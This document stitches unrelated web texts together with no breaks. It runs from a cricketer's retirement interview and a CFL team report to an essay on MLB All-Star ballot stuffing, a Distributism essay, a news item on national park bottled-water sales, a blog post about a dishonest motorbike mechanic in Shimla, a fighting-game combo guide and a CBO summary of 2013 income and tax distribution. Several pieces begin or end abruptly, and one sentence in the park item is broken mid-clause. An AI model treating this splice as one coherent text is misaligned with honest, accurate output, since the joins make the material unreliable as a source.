While not being directly involved at the moment, I have handed in a proposal of how I see the development of cricket in the country and some ideas for improvement. We need to improve the standards of performance and the culture at a younger age. I think there needs to be a provincial tournament alongside the club format and we also need to improve the standards in coaching and training as well. This applies to school cricket too, and while I am not the first person to say it, I think it is time changes are made as it will take time to see any results.
What does retirement feel like?
I am enjoying it at the moment. It's great to have time for friends and family as well and spending some time with the various ventures I am involved in. My daughter is still very young, so it's great to be spending time watching her grow. I'll be involved in playing cricket this year. I'm starting off with my commitment to Sussex and I'm looking forward to that.
And what about your mate Kumar Sangakkara's form of late?
It's brilliant. He's always been a fantastic cricketer, and has been hitting a more consistent form recently, which is great for him and his fans to watch. He still has got a couple of more series to play, and he works very hard so it's all paying off in the field.
“How much they'll play at the same time, that's up for debate,” Cortez said. “Sometimes, while you'd like to do some things, it doesn't match up with how the other team plays defence.”
The speedy Walker, who was the No. 1 tailback before getting hurt three weeks ago, has 563 yards in eight games this season and is averaging 5.9 yards per carry. Cobourne, a veteran of seven CFL seasons, has 367 yards in his four starts and a 6.4 per carry average.
Both Cobourne and Walker will likely play a role on special teams.
“I'm on the roster to make plays and no matter where I'm playing, that's what I'm going to do,” Cobourne said. “It's about time we were both on the field together. It should be fun.”
But even the loquacious Cobourne wasn't giving away much in terms of how he might be utilized against his old team on Friday.
“I don't know, to be honest,” he said. “And if I did know, I probably wouldn't tell you anyway.”
Defensive back Marcell Young hasn't played in more than two months but won't get much of an opportunity to ease himself back into the line up.
Young, who has missed ten games with a broken hand, will replace Nick Graham at the short side corner on Friday – just in time to face quarterback Anthony Calvillo and the league's best passing attack.
“I expect it will be a challenge,” Young said. “Sitting on the sidelines, you always think 'I could have made that play.' But now I'm out here to make that play.”
The six-foot-two, 200 pound Young started all 18 games as a rookie last season and was expected to be a contributor in the secondary in 2012. Head coach George Cortez is hoping that the injury-induced layoff will be a benefit.
“He has fresh legs and sometimes that does matter,” Cortez said. “There are very few people that have played every game that are 100 per cent this time of year.”
Ryan Hinds is helping out kids in Guyana by acting like a big kid here in Hamilton.
The Ticats defensive back, who was born in the South American country but grew up in Toronto, has been raising funds for a paediatric ward at a hospital in the capital of Georgetown since a visit there last winter. His latest effort, Touch A Tractor, takes place at the Robar Centre on Nebo Road this Sunday.
The family-friendly event will allow kids of all ages to get up close and personal with heavy machinery, including bulldozers, backhoes, and excavators, as well vehicles like Harley Davidson motorcycles, ambulances, fire trucks and a race car. There will be a BBQ, Ticat players and cheerleaders, free face paining and host of other activities.
“Like any kid growing up, I was in love with my toy bulldozers, firetrucks, cranes, all that stuff so it'll be pretty cool to get to sit in them, see them up close.” Hinds said. “I'm not going to lie, I'm pretty excited.”
Tickets are $10 and all the proceeds will go to Guyana Help the Kids ,a non-profit organization dedicated to improving children's health care in the former British colony. The country of 750,000 has the 125th infant mortality rate in the world.
“We're furnishing a paediatric ward that's been built but doesn't have the equipment and facilities to serve the children in the community,” said Hinds, who is well on his way to raising the $75,000 needed. “I'm looking forward to the day when I can go back there and see what we've accomplished.”
For more information, visit www.ryanhindsghtk.blogspot.ca
And it’s a joke. But baseball’s All-Star Game has been a joke for a long time. The question is: will MLB do anything to fix it?
The Royals currently have seven players in the top spot on the All-Star ballot and in line to start the Midsummer Classic. The Cardinals have four with two or three more in striking distance. The Royals could have as many as eight starters in the game if Omar Infante is able to overcome Houston’s Jose Altuve at second base. Infante is hitting .209 with exactly zero home runs and three walks this season, Altuve, who won the batting title last season, is hitting .290 and leads the league in stolen bases. He’s clearly the best second sacker in the AL and very popular. He deserves to start in the All-Star Game. But something funny is going on with the ASG balloting. And not “funny ha-ha.”
No one knows for sure if Royals’ fans are stuffing the digital ballot box by using fake email accounts or not. Or if KC fans are simply voting more often than any other team. There are two more possibilities: fans in other cities love the Royals so much that they’re voting for their players; or NL fans are stuffing the ballot box to ensure the AL team has an all-KC look for some reason.
But given the fact that the Cardinals have so many players in line to start, I think what we are seeing is a Missouri ballot box stuffing in grand “Show Me” fashion. The good fans of the Cardinals, some of the best in sports, are “crossing lines” and voting for the Royals too. Before long I fully expect every spot in the AL lineup, except maybe one (Mike Trout’s) to be manned by a Royal player.
That’s just stupid. Most of the players in first place right now don’t deserve to start the All-Star Game, in fact many of them don’t deserve to be on the team at all. Eric Hosmer is currently leading Miguel Cabrera at first base. Cabrera is hitting over .330 with 13 home runs, 44 RBIs, a .577 slugging percentage, and a league-leading .440 on-base percentage. Hosmer is hitting .300 but has only seven homers, 36 RBIs, and he has 22 fewer total bases than Miggy. No one thinks Hosmer is a better player, and even if your criteria for the ASG is “stardom”, Cabrera, a two-time MVP and Triple Crown winner, bests his Royal counterpart there too.
Ballot box stuffing is bad for baseball even if the All-Star Game were still an exhibition game with only bragging rights at stake. But several years ago MLB made the dopey decision to determine home field advantage in the World Series by which league won the All-Star Game. Thanks, Bud Selig.
That decision was made after the 2002 All-Star Game ended in a tie when both teams ran out of pitchers. It was a huge public relations disaster for baseball, and Commissioner Selig (in a typical knee jerk reaction) instituted the home field rule. But each league still approaches the game like an exhibition, with managers doing their best to get every player into the game. Starters usually go three innings, which means the lesser players are often determining the outcome. The game is a farce and this year it’ll be even more so when the lineups are dominated by players from KC and St. Louis.
There is precedent for this. In 1957 fans in Cincinnati voted seven of their position players to starting spots. Only Stan Musial (first base) was elected from another team. The commissioner at the time was Ford Frick, a fairly humorless man who ruled that only four of the Reds were deserving and named Hank Aaron, Willie Mays, and Frank Robinson to the squad in place of the Cincinnati outfield. He also stripped fans of their right to vote for All-Star teams, a rule that stayed in place through 1970. A message had been sent: ballot stuffing was not to be tolerated.
But back then the game was taken far, far more seriously than it is today. The National League, the first to widely integrate and employ Latin players, had a competitive edge and they dominated the Midsummer Classic for two decades starting in the early 1960s. They really wanted to beat the American League. When Pete Rose first became an All-Star, as a young Reds’ second baseman in the mid-1960s, he was told by Mays and Robinson that the NL wanted to “clobber” the AL. Later, he passed that fiery attitude on to young NL All-Stars.
But by the late 1980s there were problems with the game. Managers were bending to criticism and doing everything they could to get every reserve player in the game. The writing was on the wall — it was apparent that eventually a team would run out of pitchers if a game went deep into extra-innings. That “perfect storm” happened in 2002 and fans in Milwaukee booed the commissioner when he called the game a tie that evening. The debacle was broadcast live on TV to the big audience the game draws. You knew something would be done, and that’s why we got “This Time It Counts” — MLB’s marketing ploy to make us feel like the game is ultra-important now since it gives the winning league one extra game in the Fall Classic.
Will MLB do something about the lineups for this year’s game? Will they put the deserving All-Stars in the lineups or will they allow the Royals and Cardinals to play essentially an interleague game? The league office is careful to stress that fans deserve the right to vote in the players they want to see, but if that’s the case, why does the game determine home field in the World Series? Shouldn’t such an important thing be determined by something other than a popularity contest?
Currently a fan can vote up to 35 times (per email address) online. The voting at the ballpark, with the punch-ballots, has been eliminated, which irritates many fans. Most fans are outraged that each “email address” can vote 35 times. But if you think MLB will alter that possibility, you’re fooling yourself. MLB Advanced Media, the money-grubbers who run the MLB digital world, have never met a promotion or sales opportunity they didn’t like. The 35 times rule is set up precisely because it lures fans to the website for a long time. If they happen to buy something while they’re there, all the better. MLBAM cares about one thing only – the bottom line.
The Tigers will have at least one representative at the All-Star Game on July 14, in Cincinnati. Cabrera will be there, but will he start? He should. David Price and Ian Kinsler deserve consideration, and probably Yoenis Cespedes and Joakim Soria too. But if 4-5 undeserving Royals are voted in, that will mean the players like Cabrera who deserve to be starters will gobble up the reserve spots. The rosters will be a joke.
Just like the game itself.
Comments
I find it interesting when critics of Distributism claim, in essence or explicitly, that it is Utopian. Utopia is a fictional island where all of society is the ideal, where everything just works. Of course, to call something or someone Utopian is usually intended as an insult; it is saying that the ideas won’t work in the “real world.” To hear our critics talk about us, we distributists live in a world of fantasy, imagining that all will be rosey and well if only Distributism were adopted. In fact, nothing could be further from the truth.
Distributism actually looks at society, and the people in it in a very realistic way. We look at human nature, and realize that it contains many unpredictable variables that are very real factors in society and economics. Human nature is a real economic force to be reckoned. There will always be those who fail to live up to the standard, those who fail to grasp the full consequences of their actions, and those who will deliberately choose to advance their own interests even when it is harmful to others. Society needs to be structured to mitigate their influence. It is precisely because of this that we promote subsidiarity, solidarity, and emphasize the local economy with the guild system. Distributism is not a perfect socio-economic system; it is merely one that takes account of the imperfections of people. It assumes that these imperfections will always be at play, so the socio-economic system must account for that fact.
These human imperfections can arise from different directions, from the lower orders of society and from the higher orders. When from the lower orders, businesses can seek to act in unjust ways, to charge unjust prices, to pay unjust wages, to use unjust methods to undermine competition. When from the higher orders, the government can enact unjust laws and usurp roles that are naturally the function of the lower orders, even roles that naturally belong to the family itself, like directing the education of children. The further removed the usurper is from the natural level, the less the natural level is able to effectively fight to correct the problem. If the highest level of government interferes with rights of families to direct the education of their children, those families are powerless to do anything about it unless they are part of a very vocal majority – and they might not be able to do anything about it even in that case.
Capitalism is a product of the philosophy of individualistic liberalism. Some might consider it odd that a society founded on this idea would result in the consolidation of economic and political power away from the mass of its individual citizens. To read the Founders of the United States, they considered it the most natural thing that individuals would jealously guard against it, that businesses would guard against it, that local and state governments would guard against it, and, therefore, the system would work as long as no one failed. Since, in their view, the power of any level of government is granted to it from the people, the people would always have the power to revoke any power unjustly usurped from them. The United States, from its very foundation, depended on the smaller, weaker levels of society always banding together in a perpetual defensive position against a larger aggressor. In other words, the people are to consider themselves as constantly besieged. Ironically, the U.S. Constitution, which limits the authority of the federal government, was itself an expansion of that government’s power from the U.S. Articles of Confederation. The reason is that coordination requires subordination, but applying that philosophical reality in combination with individualistic liberalism will not result in a just society.
This is very different from the view of Christendom, which believed that the power of government was determined by the need it existed to fulfill, not coming from the people, but from the nature of that level of government itself. Therefore, there is a need to acknowledge powers above and beyond ourselves, which define us and set limitations on us for the common good. These powers are God and the nature he created, including human nature. Christendom depended on a constant defending of the natural orders of society and a constant growth in understanding of human nature and its failings, but that defense came from all sides, the Church, the people, and the state.
In Christendom, the argument was that, if you failed to act justly, you would not go to heaven. This applied equally to king and peasant, pope and layman. In the eras that followed it, the argument became that, if you are not vigilant, you will be subject to tyranny. The individualistic liberals of the late 18th Century still viewed God as an important factor in guiding their daily lives, including in government, but the application of that factor was left to the individual. Those who negotiated the U.S. Constitution knew their experiment might fail, but their expectation was that, through diligence and a natural jealous guarding of self-interest, it would succeed.
In the first century since the United States was founded, some of the principles of the U.S. Constitution were already being abandoned with the loss of sovereignty of the individual states in the U.S. Civil War. In the century since then, the federal government has not ceased in its continual power-grab, not merely from its subordinate states, but from every local community and family. One might consider it odd that this would happen, but the very individualism the Founders believed would protect their system is the cause of it being dismantled. The fact is that, throughout history, many of those individuals in power believe that their genius in being able to get into positions of power proves they should be allowed to exercise it as they see fit, even if it means preventing others from exercising powers that once belonged to them. Notice that this is the very same argument made to justify the never-ending consolidation of wealth among the very rich. Surely if they could get into the position of running these banks and international businesses, they are obviously smarter about business than others, and are therefore the best ones to know how business should be run and what the national economic policy should be, even if doing so puts others out of business.
Yes, that’s right, those of the so-called Left and Right in the US are actually making essentially the same arguments to justify their attempts to increase their own power, the political left to justify their increase in government power, and the political right to justify their increase in economic power. This is because, even though they have diverged in regard to how to build the ideal society, they both spring from the same faulty philosophy of individualistic liberalism. They are both like the pigs in Orwell’s, Animal Farm, believing that they are the ones who are more equal than everyone else. That same individualism left the common man defenseless when economists decided that ethics does not apply to economics, and defenseless when political theorists decided that government was the solution to just about every problem. Each of these camps believes they have the real answer to creating a truly free and prosperous society, if only all of those pesky other people would behave the way they should. You see, when their systems fail, it is either the fault of the other camp, or of the consumers themselves. It is never really the fault of their ideas; it is the fault of people who pick and choose what to believe, and then choose to act differently than the economists predicted. Distributists, on the other hand, expect failures to occur. There will be those who attempt to corrupt the system. This is why the system must be set up to mitigate the damage these people will do, and make it easier to correct the problems they create.
This is why we advocate the guild system to fight corruption in the lower orders. When a single business engages in unjust practices, the guild can remove its license to do business in the local area. This is really no different from a business losing its license for failing to abide by the laws of the city or county. However, because businesses in the guild only operate in the local community, and the guild itself only has authority in that community, even if the entire guild were to become corrupt, its sphere of influence is limited by design. Therefore the local community has a greater ability to bring it back in line than they do with the intercity, interstate, and international companies with which we have to deal in our present system. Additionally, the problem of a local company will be a local problem. It will have little impact on the overall economy of the state, the federal nation, or the world, as has been the case with the current financial crisis triggered by the failure of a small percentage of sub-prime mortgages in the USA.
Distributists advocate subsidiarity to deal with corruption in the higher orders. The principle of subsidiarity only grants authority to the different orders of society according to the need they exist to fulfill. While this can be abused, Distributism grants more power to the local level than it has under our current system, even more than it had when the USA was founded. This will make the local level more effective at correcting corruption at higher levels. Currently, the higher level is allowed to override local laws, even in things that are local issues. Distributism corrects this. For example, by including in its founding principles the idea that state assistance does not give the state the right to usurp local authority, the state may still contribute to education in a poor area, but its contribution gives it no authority to dictate what must be taught. The state may contribute to social assistance programs when the level of need warrants it, but its contribution does not give it authority to direct those programs at the local level. Admittedly, these concepts are foreign to us. Those who promote assistance by the state insist that the assistance grants the state more authority in regard to that assistance. Thus, the state can, and even must increase its power over the masses whenever its assistance is needed. Those who promote the continued authority of the local level sometimes insist that this means the state cannot even assist. This was actually the view of the American Founders in regard to the federal government they created in both the Articles of Confederation and the Constitution. These two extremes are natural evolutions from the philosophy of individualistic liberalism.
Distributist advocate solidarity, which is when the society, both as a whole and at each level, accepts that everyone is responsible for everyone. It is not just the responsibility of individuals who work or contribute to help those in need, and it is not just the responsibility of the government who must step in pre-emptively just in case individuals would not. It is a social responsibility shared by the society as a whole and by each member. This also has a subsidiary nature which means that it primarily falls to the local levels of society, families, churches, guilds, and other local associations, but it also means that the higher levels of society must step in, when warranted, to assist but not take over. If the higher level is needed to coordinate efforts because the need is wide-spread, it may do so until the situation will allow the more local levels to effectively resume their natural role. Yes, there will be those who will not help, but there will be a tremendous social pressure to do so, and a tremendous social stigma for refusing to do so.
These ideas, subsidiarity, solidarity, ethical economics, preference for the local economy, guilds, the common good, and the other various aspects of what a Distributist society would be like, are why those of us who advocate Distributism cannot discuss it merely on the economic or the political level. It cannot even be discussed merely on both of them combined. When Distributists discuss these ideas, we are actually discussing a different philosophical view, a view that rejects the false philosophy of individualistic liberalism that is the core of the political and financial world in which we live. Distributism seeks to return to a truly scientific philosophical foundation based on philosophical psychology, ethics, and poietics. The philosophy that was born of Plato, Socrates, and Aristotle, and was ultimately refined by Saints Augustine and Aquinas. A philosophy of the reality of human nature, adequately understood. These philosophical teachings, combined with the moral theological teachings of the Church are the foundation of Catholic Social Doctrine and, through that doctrine, Distributism.
Capitalists dream of a society where man, or at least certain men, will act in a perfect way. It doesn’t matter if one is discussing the Austrian, Keynesian, Chicagoan, or any other “school” championed by a specific group of capitalists. They either require that all consumers act in a predetermined way, or that those at the head of industries, or in the government will know exactly what needs to be done and will get it done. When this doesn’t happen, they say, “Well, that’s not really our system.”
Distributists don’t depend on a society where everyone acts in a perfect way. Instead, we attempt to create a society where the impact of corruption—in either the body politic or the body economic—is mitigated, and therefore more easily corrected. This will result in a society that is not perfect, but more just. When people within a distributist society fail to act according to distributist principles, it will not be because it’s not really our system. The steps necessary to correct the problem might not be perfect, but they will be distributist, and they will be made with regard to the common good and justice.
“While we will continue to encourage the use of free water bottle filling stations as appropriate, ultimately it should be up to our visitors to decide how best to keep themselves and their families hydrated during a visit to a national park, particularly during hot summer visitation periods,” Acting National Park Service (NPS) Director Michael Reynolds said in a statement released Wednesday.
A 2011 directive from the Obama administration allowed park officials to ban the sale of water bottles at national parks but allowed bottled soft drinks and juices.
The purpose of the directive was to reduce the sale of plastic bottles throughout the National Park System.
Park Service officials said that only 23 of the 417 national parks in the system, adding that the policy took away “the healthiest beverage choice” available to visitors.
Some of the national parks that implemented the policy include the Grand Canyon, Zion National Park, Bryce Canyon, and Mount Rushmore.
The Obama administration’s reasoning for putting the policy in place was to reduce the National Park Service’s carbon footprint as part of their Green Parks Plan.
The Park Service spent hundreds of thousands of dollars in some locations to put new water-filling stations at the Grand Canyon and at Zion National Park, not including the amount of money the park service lost from water bottle sales.
According to the government-spending advocacy group Citizens Against Government Waste, the park service spent $288,900 on ten water stations at the Grand Canyon and $447,200 on three water stations at Zion. The water stations require constant maintenance, or else they can harbor bacteria and disease.
Former NPS Director Jonathan Jarvis admitted that the ban on plastic water bottle sales complicated efforts to provide healthier food options at parks, and worried it could affect people suffering from health problems.
A couple of weeks ago, I visited a bike mechanic who owns a small workshop near powerhouse at ‘Tavi Chowk’ in Shimla. I was having troubles with self-ignition, which in turns was linked to battery. Somehow, I managed to start my bike in gear and approached the mechanic. After making me wait for an hour, one of the boys at workshop checked my bike and told me that the battery needs to be charged. When I asked him how long it will take, then he asked me to return in the evening. Regarding cost, he told me that it’ll be between Rs. 70 -80.
When I returned in the evening, my bike was fit and fine like before and I was happy about it. He asked me to pay Rs. 200 to the owner for charging the battery. Then he pointed to an electrical part and whispered in my ear, “Your bike had more trouble than it appeared initially. This part was also damaged as you had ignited the fuel chamber in a heavy gear. Original and new part is very expensive, but I managed to replace it with a spare one without telling the owner.” Then he asked me to hand him Rs. 100 as a payment for his additional favor. He told me not to mention it to the owner of the workshop as he would find it annoying to have helped me and not selling a new piece. Now, I had to pay Rs.300 for the total service. I was a bit disappointed at the additional expenses, but was still happy for the personal help I received from that benevolent boy. At least, my bike was working fine then.
It didn’t give me the same problem until a couple of days ago when it again behaved in the same manner. Again, I managed to approach the mechanic, but not the previous one. This time I parked my bike in front of workshop situated on Power House to Totu shortcut. I was certain that the battery needed to be charged again. I told the mechanic to check it. He just opened the chamber where battery is located and inspected it. He grabbed a screwdriver and tightened the wires at positive and negative terminals. It hardly took more than two minutes for him to do that. He pressed the self-ignition switch and voila! It was fine. He said, “It’s done.” I surprisingly stared at him and again confirmed whether it was done or not. He confirmed it again without a second thought. I told the mechanic about the previous incident, which made him laugh while he sarcastically said, “It just takes Rs.30 to charge a two wheeler’s battery.”
Damn it. The other mechanic, he wasted my whole day and charged me Rs.300 for screwing two nuts. All he exploited was my trust in humanity and lack of knowledge regarding the basics of my bike. I asked him to check a few more things about my bike, which he immediately did. In return, when I asked him how much should I pay for his service, he reluctantly asked for Rs.10. I gave him 30. I was thankful to him for being honest and not taking advantage of the situation like the other one did.
Now, when I observed these two incidents objectively without being personally biased, it revealed that actually I was entirely dependent on what the mechanic told me, because, I don’t claim much technical knowledge about the mechanism or parts of my bike like most of other people with vehicles. Mechanics will take advantage of it and use it to loot you when you approach them with a face like an innocent, ignorant banana and cry your worries about your bike/vehicle. To convince you that your vehicle is in some expensive trouble, the mechanic could give you thousands of mechanical reason, which sounds like alien linguistics to you.
Our society is full of such people. These people don’t have any faith in honesty or any interest in preserving moral values. Perhaps, their struggle for survival has corrupted them. When I visualized the whole incident from their perspective, I almost found it justified to be cunning and keep up with Darwin’s evolution theory, which claims the fittest creature survive best on in our ecosystem. When the political leaders and wealthy miscreants can loot the country and its entire population, then why can’t they loot a few customers using the only power they have; mechanical knowledge. Greed is the conviction of our country’s corrupted political history and present phase of poverty is strengthening it. Corruption has degraded the human element in most of us. It makes me feel sorry about people who have accepted the reality, but instead of correcting it, they have become a part of it. Still, the evil must be exposed.
Obviously, I’ll never visit this guy again and I’ll find pleasure in spreading the word among my friends and anyone who could read this. Beware of such guys whenever you face some mechanical problem with your vehicle, a problem which is beyond your knowledge to diagnose it or fix it. My basics about the simple instruction regarding the maintenance of battery would have been comprehensible for me if I would have read the manual that came with the bike. Same applies with electronic devices such as computers and mobiles.
However, staunch criticism isn’t the conclusion for me. In the same society, we have honest souls as well. The other mechanic is apt evidence that trust and honesty do exist amidst the rubble of corrupted morals. I would prefer to forget about the cheater and be glad that now I have a better mechanic to consult. As a little promotion and encouragement to the good guy and as a little lesson for the bad one, I request HW to publish the images of two mechanic workshops. I am certain that they don’t have access to internet, but I hope, may be, someone would tell them about this story. If you ever visit any of them, do tell them what you read.
3 Grenades
Reload combos:
Spoiler Toggle Spoiler
B33 Starter:
B33212, DF11, NJP, F2, F2, DF11, F2, DF11, RC 2134, DD1 - 38%
http://i.imgur.com/7pp2GNw.gif
B33212, DF11, NJP, Dash forward, 3, F2, DF11, F2, DF11, RC 2134, DD1 - 38%
http://i.imgur.com/N06M2f2.gif
121 Starter:
121, DF11, JiP, 3, DF11, NJP, F2, DF11, RC 2134, DD1 - 35%
http://i.imgur.com/xHzQSxe.gif
B14/Universal Starter:
B14, Df11, F2 F2, DF11, F2, DF11, RC 2134, DD1 - 34%
http://i.imgur.com/pxvYweK.gif
Universal "never drop" BNB:
Starter, DF11, 21, DF11, NJP, RC 21, DF11, F2, DD1
http://i.imgur.com/xs5kN10.gif
Spoiler Toggle Spoiler
B33 Starter:
B33212, DF11, NJP, F2, F2, DF11, F2, DF11, RC 213, BF4 - 39%
http://i.imgur.com/0awQ3VA.gif
B33212, DF11, NJP, Dash forward, 3, 213, DF11, F2, DF11, RC 213, BF4 - 39%
http://i.imgur.com/3weCnuS.gif
121 Starter:
121, DF11, JiP, 3, DF11, NJP, F2, DF11, RC 2134, BF4 - 37%
http://i.imgur.com/dXmyL24.gif
B14/Universal Starter:
B14, Df11, F2 F2, DF11, F2, DF11, RC 213, BF4 - 37%
http://i.imgur.com/WTdzzAr.gif
Spoiler Toggle Spoiler
From @STB MrAquary
B332, DF11, F4, ExDD1, F2, DF11, F2, DF11, RC 2134 - 41%
http://i.imgur.com/bl9zxxM.gif
Super armor break/Armor break + 50/50 setup:
B332, DF11, NJP, DF11, ExDD1, DF11, RC, F2(or let grenades break armor here and 50/50), F2, 2134, DD1 - About 50%~
2 Grenades
Spoiler Toggle Spoiler
B33 Starter:
B33212, DF11, NJP, F2, 213, DF11, RC 2134, DD1 - 35%
http://i.imgur.com/apP4fuH.gif
B33212, DF11, NJP, Dash forward, 3, 213, DF11, RC 2134, DD1 - 35%
http://i.imgur.com/iY11f43.gif
121 Starter:
121, DF11, JiP, 3, DF11, NJP, 2134, DD1 - 31%
http://i.imgur.com/o9Sah7F.gif
B14/Universal Starter:
B14, Df11, F2 F2, DF11, RC 2134, DD1 - 29%
http://i.imgur.com/MVxT9fn.gif
Universal "never drop" BNB:
Starter, DF11, 21, DF11, NJP, RC 2134, DD1
http://i.imgur.com/rsDDXHP.gif
Spoiler Toggle Spoiler
B33 Starter:
B33212, DF11, NJP, F2, 213, DF11, F2, BF4 - 36%
http://i.imgur.com/MnswJpx.gif
B33212, DF11, NJP, Dash forward, 3, 213, DF11, F2, BF4 - 36%
http://i.imgur.com/PDxKyWS.gif
121 Starter:
121, DF11, JiP, 3, DF11, NJP, 12, F2, BF4 - 34%
http://i.imgur.com/1Ey9T1d.gif
B14/Universal Starter:
B14, Df11, F2 F2, DF11, RC 213, BF4 - 32%
http://i.imgur.com/qCuhPWZ.gif
1 Grenade
Spoiler Toggle Spoiler
B33 Starter:
B33212, DF11, NJP, F2, 2134, DD1 - 30%
http://i.imgur.com/H6I7MN4.gif
B33212, DF11, NJP, Dash forward, 3, 2134, DD1 - 30%
http://i.imgur.com/o8mRjvN.gif
121 Starter:
121, DF11, JiP, 12, RC 2134, DD1 - 26%
http://i.imgur.com/NYu2ZBY.gif
B14/Universal starter:
B14, DF11, RC, F2, 2134, DD1 - 23%
http://i.imgur.com/7kSbMj7.gif
Universal "never drop" BNB:
Starter, DF11, 21, 2134, DD1
http://i.imgur.com/zsXjpZu.gif
Reverse position combos:
Spoiler Toggle Spoiler
B33:
B33212, DF11, NJP, Run under, 3, continue combo
http://i.imgur.com/UqurfCo.gif
121, DF11, JiP, 2, continue combo
http://i.imgur.com/z9EGVFx.gif
121 Optimal/More difficult (needs at least 2 grenades):
121, DF11, JiP, 4, DF11, continue combo
http://i.imgur.com/INlgoes.gif
B14/Universal (needs at least 2 grenades):
B14, DF11, 21, DF11, Run under, continue combo
http://i.imgur.com/Nfbp6Ng.gif
Corner
Negative edge explained + Video guide
Spoiler Toggle Spoiler
One of the most essential assets to Demolitions corner game is being able to reload in the middle of a combo. Doing so will allow you to follow up with Damage, armor breaks, 50/50s as well as other setups. Being able to reload in the middle of a combo is made possible using Release check(negative edge).
The way it works is that using release check, you can press an input (1), and then keep holding it while inputing a different input (for example 4), then when you release 1 it will count as an input. So, as an example:
DF1, Keep holding 1, 4, Release 1+Down down.
This will make it so that the standing 4 cancels into reload without detonating your grenade. You can then afterwards continue the juggle.
Here is a video I made which shows you ways to practice the negative edge reload:
Here is a gif of how you can practice it:
This is the same scenario as you would use it in an actual combo. Inputs are:
DF1 (hold back), DF1 (hold back) + keep holding 1, 4, release 1, Down down.
Spoiler Toggle Spoiler
3 Grenades:
Negative edge basic combo that leads to armor break/ 50-50 / other oki option or setup:
B33212, DF11, NJP, DF1, DF1 (close) + keep holding 1, 4, Release 1 + down down, 12, 2134 - 35%
Instead of 12, 2134 after the reload, you can extend it for damage using 4, DF11, 4, DF11...
The above combo used to armor break (break all armors in the game, roll on/off):
You can also time a 50/50 with stun grenade instead with the same setup.
Negative edge reload using 1 meter:
Starter, DF11, exDD1, DF1 (close), DF1 (close) + keep holding 1, 4, release 1+ down down, 12, 124 - 41%
Safe reload:
Starter, DF11, F2, 12, 4, DF11, NJP, 4, DF11, DD1 - 38%
http://i.imgur.com/q0akQ7E.gif
Safe reload using 1 meter:
Starter, DF11, exDD1, 4, 4, DF11, NJP, JiP, 4, DF11, DD1 - 43%
http://i.imgur.com/RYGOVbx.gif
2 Grenades:
Starter, DF11, F4, 12, 213, DF11, DD1 - 32%
http://i.imgur.com/8jSaSVb.gif
1 Grenade:
Starter, DF11, NJP, DD1 - 21%
http://i.imgur.com/iAJcJjX.gif
No grenade combos:
B33u4 starter:
B33u4, 12, NJP, D2, RC, 121, BF4 - 32%
http://i.imgur.com/3Ru5gpd.gif
Can also end in 2134 reload for unsafe reload.
Universal unsafe reload:
Starter, F4, 12, 2134, DD1 - 32%
http://i.imgur.com/h07jpEF.gif
Universal hit confirm unsafe reload 1 meter:
Starter, ExBF2, d1, 12, NJP, 12, 2134 - DD1
http://i.imgur.com/VVvwXua.gif
1 meter 50/50 combo:
Starter, ExDD1, 50/50 option, 12, NJP, D2, 121, BF4 - 37% (40+ with first starter included)
http://i.imgur.com/6qnirCu.gif
Can also end in 2134 reload for unsafe reload.
NOTE:
121, 213 and F2 do exactly the same amount of damage in combos and scale equally (rare exceptions). This means that any combo using one of these is inexchangable if gravity allows it to whichever option you prefer.
How Were Income and Federal Taxes Distributed in 2013?
Before-tax income was unevenly distributed across households in 2013. Average before-tax income among households in the lowest one-fifth (or quintile) of the distribution of before-tax income was approximately $25,000 in 2013, CBO estimates (see Table 1). Among households in the middle income quintile, average before-tax income was about $70,000. Households in the highest income quintile had average before-tax income that was much higher—approximately $265,000. In response to tax law changes that went into effect in 2013, some taxpayers—especially those at the top of the income distribution—shifted some income into 2012 to avoid the higher tax rates on that income in 2013. Because of that income shifting, income at the top of the distribution was lower in 2013 than it would have been in the absence of those tax law changes.
Overall, federal taxes are progressive, meaning that average tax rates generally rise as income increases. Households in the lowest income quintile paid less than $1,000 in federal taxes in 2013, on average, which amounted to an average federal tax rate of about 3 percent, CBO estimates. Households in the middle quintile paid about $9,000 in federal taxes, on average, and households in the highest quintile paid about $70,000; their average federal tax rates were approximately 13 percent and 26 percent, respectively.
Households in the highest income quintile received a little more than half of total before-tax income and paid more than two-thirds of all federal taxes in 2013 (see Figure 1). Households in other income groups received considerably smaller shares of before-tax income and paid considerably smaller shares of federal taxes. Furthermore, the share of taxes paid by households in other income groups (in contrast to households in the highest income quintile) was less than the share of before-tax income they received. Households in the middle income quintile, for instance, received about 14 percent of total before-tax income and paid about 9 percent of federal taxes. And households in the lowest income quintile received about 5 percent of before-tax income in 2013 and paid less than 1 percent of federal taxes, CBO estimates.
The progressive federal tax structure results in a distribution of after-tax income that is slightly more even than that of before-tax income. Households in the lowest income quintile received approximately 6 percent of after-tax income in 2013, compared with 5 percent of before-tax income, and households in the highest income quintile received about 49 percent of after-tax income, compared with 53 percent of before-tax income, CBO estimates.
What Are the Trends in the Distribution of Income, Federal Taxes, and Income Inequality?
The distributions of household income and federal taxes depend on economic conditions and tax laws—both of which have changed over time. Changes in the distribution of after-tax income can be traced to changes in the distributions of market income, government transfers, and federal taxes.
Income inequality varies depending on the measure of income examined. By comparing measures of income inequality based on income with and without government transfers (market income and before-tax income), it is possible to determine the degree to which government transfers reduce income inequality. Similarly, by comparing measures of income inequality based on income excluding or including the effects of federal taxes (before-tax income and after-tax income), it is possible to determine the degree to which federal taxes reduce income inequality.
Market and Before-Tax Income. Over the 35-year period from 1979 to 2013, average inflation-adjusted market and before-tax income increased for each income group. The cumulative growth rates for those income measures, however, differed significantly across the income distribution. Market income in 2013 for households in the top 1 percent was 188 percent higher than it was in 1979. For households in the bottom four income quintiles, market income was 18 percent higher in 2013 than it was in 1979.
Because government transfers largely go to low-income households, the cumulative growth in before-tax income for households in the bottom four quintiles was significantly higher than the cumulative growth in market income for households in similar market income quintiles. In addition, because of such transfers, the average cumulative growth in before-tax income for households in the lowest quintile was slightly higher than the average cumulative growth for households in the middle three income quintiles—39 percent versus 32 percent. Conversely, because high-income households receive relatively small amounts of government transfers, on average, the inflation-adjusted cumulative growth rates over the 35-year period for market and before-tax income were very similar for those households.
Average Federal Tax Rates. Average federal tax rates fluctuate over time because of changes in tax law and changes in the composition and distribution of income. Primarily because of significant changes in tax rules, average federal tax rates in 2013 were higher than in 2012 across the income distribution. Households in the bottom 99 percent of the income distribution saw their average federal tax rates increase by more than 1 percentage point, on average, between 2012 and 2013. Households in the top 1 percent of the income distribution, however, saw their average federal tax rates jump by more than 5 percentage points between 2012 and 2013. Those changes in average federal tax rates in 2013 made the federal tax system the most progressive it has been since at least the mid-1990s.
